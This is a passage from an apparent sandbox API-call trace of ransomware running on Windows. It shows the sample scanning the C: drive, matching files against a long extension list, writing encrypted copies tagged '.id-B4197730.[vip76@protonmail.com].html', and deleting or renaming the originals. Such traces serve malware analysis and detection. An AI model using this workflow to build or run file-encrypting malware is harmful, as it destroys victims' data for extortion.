	[0208.083] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.083] lstrlenW (lpString=".1cd") returned 4
	[0208.083] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.083] lstrlenW (lpString=".jpg") returned 4
	[0208.083] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.083] lstrlenW (lpString=".doc") returned 4
	[0208.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString=".docx") returned 5
	[0208.084] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0208.084] lstrlenW (lpString=".pdf") returned 4
	[0208.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.084] lstrlenW (lpString=".xls") returned 4
	[0208.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.084] lstrlenW (lpString=".xlsx") returned 5
	[0208.084] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0208.084] lstrlenW (lpString=".ppt") returned 4
	[0208.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.084] lstrlenW (lpString=".zip") returned 4
	[0208.084] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.084] lstrlenW (lpString=".rar") returned 4
	[0208.084] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.084] lstrlenW (lpString=".bz2") returned 4
	[0208.084] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.084] lstrlenW (lpString=".7z") returned 3
	[0208.084] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.084] lstrlenW (lpString=".dbf") returned 4
	[0208.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0208.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.084] lstrlenW (lpString=".1cd") returned 4
	[0208.084] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0208.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.084] lstrlenW (lpString=".jpg") returned 4
	[0208.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0208.084] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0208.084] lstrlenW (lpString="rmiregistry.exe") returned 15
	[0208.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0208.085] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=16448) returned 1
	[0208.085] CloseHandle (hObject=0x36c) returned 1
	[0208.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20
	[0208.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0208.086] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.086] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0208.086] GetLastError () returned 0x0
	[0208.086] ReadFile (in: hFile=0x36c, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x4040, lpOverlapped=0x0) returned 1
	[0208.089] WriteFile (in: hFile=0x354, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0x4050, lpOverlapped=0x0) returned 1
	[0208.090] ReadFile (in: hFile=0x36c, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.090] WriteFile (in: hFile=0x354, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0xf2, lpOverlapped=0x0) returned 1
	[0208.090] SetEndOfFile (hFile=0x354) returned 1
	[0208.090] CloseHandle (hObject=0x354) returned 1
	[0208.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.090] SetEndOfFile (hFile=0x36c) returned 1
	[0208.091] CloseHandle (hObject=0x36c) returned 1
	[0208.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.092] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1
	[0208.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.092] lstrlenW (lpString=".doc") returned 4
	[0208.092] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0208.092] lstrlenW (lpString=".docx") returned 5
	[0208.092] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0208.092] lstrlenW (lpString=".pdf") returned 4
	[0208.092] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0208.092] lstrlenW (lpString=".xls") returned 4
	[0208.092] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0208.092] lstrlenW (lpString=".xlsx") returned 5
	[0208.092] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0208.092] lstrlenW (lpString=".ppt") returned 4
	[0208.092] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0208.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.092] lstrlenW (lpString=".zip") returned 4
	[0208.092] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0208.092] lstrlenW (lpString=".rar") returned 4
	[0208.092] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0208.092] lstrlenW (lpString=".bz2") returned 4
	[0208.092] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0208.093] lstrlenW (lpString=".7z") returned 3
	[0208.093] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0208.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.093] lstrlenW (lpString=".dbf") returned 4
	[0208.093] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0208.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.093] lstrlenW (lpString=".1cd") returned 4
	[0208.093] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0208.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.093] lstrlenW (lpString=".jpg") returned 4
	[0208.093] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0208.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.093] lstrlenW (lpString=".doc") returned 4
	[0208.093] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0208.093] lstrlenW (lpString=".docx") returned 5
	[0208.093] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0208.093] lstrlenW (lpString=".pdf") returned 4
	[0208.093] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0208.093] lstrlenW (lpString=".xls") returned 4
	[0208.093] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0208.093] lstrlenW (lpString=".xlsx") returned 5
	[0208.093] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0208.093] lstrlenW (lpString=".ppt") returned 4
	[0208.093] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0208.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.093] lstrlenW (lpString=".zip") returned 4
	[0208.093] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0208.093] lstrlenW (lpString=".rar") returned 4
	[0208.093] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0208.093] lstrlenW (lpString=".bz2") returned 4
	[0208.093] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0208.093] lstrlenW (lpString=".7z") returned 3
	[0208.094] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0208.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.094] lstrlenW (lpString=".dbf") returned 4
	[0208.094] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0208.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.094] lstrlenW (lpString=".1cd") returned 4
	[0208.094] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0208.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54
	[0208.094] lstrlenW (lpString=".jpg") returned 4
	[0208.094] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0208.094] lstrcmpiW (lpString1=".jsa", lpString2=".html") returned 1
	[0208.094] lstrlenW (lpString="classes.jsa") returned 11
	[0208.094] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0208.094] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=18677760) returned 1
	[0208.095] CloseHandle (hObject=0x36c) returned 1
	[0208.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21
	[0208.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1
	[0208.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0208.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0208.099] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc64 | out: lpNewFilePointer=0x0) returned 1
	[0208.099] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc24 | out: lpNewFilePointer=0x0) returned 1
	[0208.099] ReadFile (in: hFile=0x36c, lpBuffer=0x42de058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc30, lpOverlapped=0x0 | out: lpBuffer=0x42de058*, lpNumberOfBytesRead=0x38ffc30*=0x40000, lpOverlapped=0x0) returned 1
	[0208.101] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc24 | out: lpNewFilePointer=0x0) returned 1
	[0208.102] ReadFile (in: hFile=0x36c, lpBuffer=0x431e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc30, lpOverlapped=0x0 | out: lpBuffer=0x431e058*, lpNumberOfBytesRead=0x38ffc30*=0x40000, lpOverlapped=0x0) returned 1
	[0208.107] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0208.107] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc24 | out: lpNewFilePointer=0x0) returned 1
	[0208.107] ReadFile (in: hFile=0x36c, lpBuffer=0x435e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc30, lpOverlapped=0x0 | out: lpBuffer=0x435e058*, lpNumberOfBytesRead=0x38ffc30*=0x40000, lpOverlapped=0x0) returned 1
	[0208.123] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.123] WriteFile (in: hFile=0x36c, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x38ffca8, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffca8*=0xc0102, lpOverlapped=0x0) returned 1
	[0208.445] SetEndOfFile (hFile=0x36c) returned 1
	[0208.445] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40000) 

Thread:
	id = 101
	os_tid = 0xfac

	[0205.152] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3e45e18
	[0205.152] lstrlenW (lpString="C:") returned 2
	[0205.152] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a3fcf8 | out: lpFindFileData=0x3a3fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x652898
	[0205.153] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0205.153] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0205.153] lstrlenW (lpString="$GetCurrent") returned 11
	[0205.153] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0205.153] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x43e0048
	[0205.153] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0205.153] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6529d8
	[0205.154] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0205.154] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0205.154] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0205.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0205.154] lstrlenW (lpString="Logs") returned 4
	[0205.154] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0205.154] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x43f1058
	[0205.155] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0205.155] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffefb9, dwReserved1=0x1f2, cFileName=".", cAlternateFileName="")) returned 0x652918
	[0205.156] FindNextFileW (in: hFindFile=0x652918, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffefb9, dwReserved1=0x1f2, cFileName="..", cAlternateFileName="")) returned 1
	[0205.156] FindNextFileW (in: hFindFile=0x652918, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031d0cb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8031d0cb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80343360, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffefb9, dwReserved1=0x1f2, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DOWNLE~1.HTM")) returned 1
	[0205.156] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[vip76@protonmail.com].html") returned 77
	[0205.156] lstrlenW (lpString=".1cd") returned 4
	[0205.156] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0205.156] lstrlenW (lpString=".3ds") returned 4
	[0205.156] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0205.156] lstrlenW (lpString=".3fr") returned 4
	[0205.156] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0205.156] lstrlenW (lpString=".3g2") returned 4
	[0205.156] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0205.156] lstrlenW (lpString=".3gp") returned 4
	[0205.156] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".7z") returned 3
	[0205.157] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0205.157] lstrlenW (lpString=".accda") returned 6
	[0205.157] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0205.157] lstrlenW (lpString=".accdb") returned 6
	[0205.157] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0205.157] lstrlenW (lpString=".accdc") returned 6
	[0205.157] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0205.157] lstrlenW (lpString=".accde") returned 6
	[0205.157] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0205.157] lstrlenW (lpString=".accdt") returned 6
	[0205.157] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0205.157] lstrlenW (lpString=".accdw") returned 6
	[0205.157] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0205.157] lstrlenW (lpString=".adb") returned 4
	[0205.157] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".adp") returned 4
	[0205.157] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".ai") returned 3
	[0205.157] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0205.157] lstrlenW (lpString=".ai3") returned 4
	[0205.157] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".ai4") returned 4
	[0205.157] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".ai5") returned 4
	[0205.157] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".ai6") returned 4
	[0205.157] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".ai7") returned 4
	[0205.157] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".ai8") returned 4
	[0205.157] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0205.157] lstrlenW (lpString=".anim") returned 5
	[0205.157] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0205.158] lstrlenW (lpString=".arw") returned 4
	[0205.158] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".as") returned 3
	[0205.158] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0205.158] lstrlenW (lpString=".asa") returned 4
	[0205.158] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".asc") returned 4
	[0205.158] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".ascx") returned 5
	[0205.158] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0205.158] lstrlenW (lpString=".asm") returned 4
	[0205.158] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".asmx") returned 5
	[0205.158] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0205.158] lstrlenW (lpString=".asp") returned 4
	[0205.158] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".aspx") returned 5
	[0205.158] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0205.158] lstrlenW (lpString=".asr") returned 4
	[0205.158] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".asx") returned 4
	[0205.158] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".avi") returned 4
	[0205.158] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".avs") returned 4
	[0205.158] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".backup") returned 7
	[0205.158] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0205.158] lstrlenW (lpString=".bak") returned 4
	[0205.158] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".bay") returned 4
	[0205.158] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0205.158] lstrlenW (lpString=".bd") returned 3
	[0205.158] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0205.159] lstrlenW (lpString=".bin") returned 4
	[0205.159] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".bmp") returned 4
	[0205.159] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".bz2") returned 4
	[0205.159] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".c") returned 2
	[0205.159] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0205.159] lstrlenW (lpString=".cdr") returned 4
	[0205.159] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".cer") returned 4
	[0205.159] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".cf") returned 3
	[0205.159] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0205.159] lstrlenW (lpString=".cfc") returned 4
	[0205.159] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".cfm") returned 4
	[0205.159] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0205.159] lstrlenW (lpString=".cfml") returned 5
	[0205.159] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0205.159] lstrlenW (lpString=".cfu") returned 4
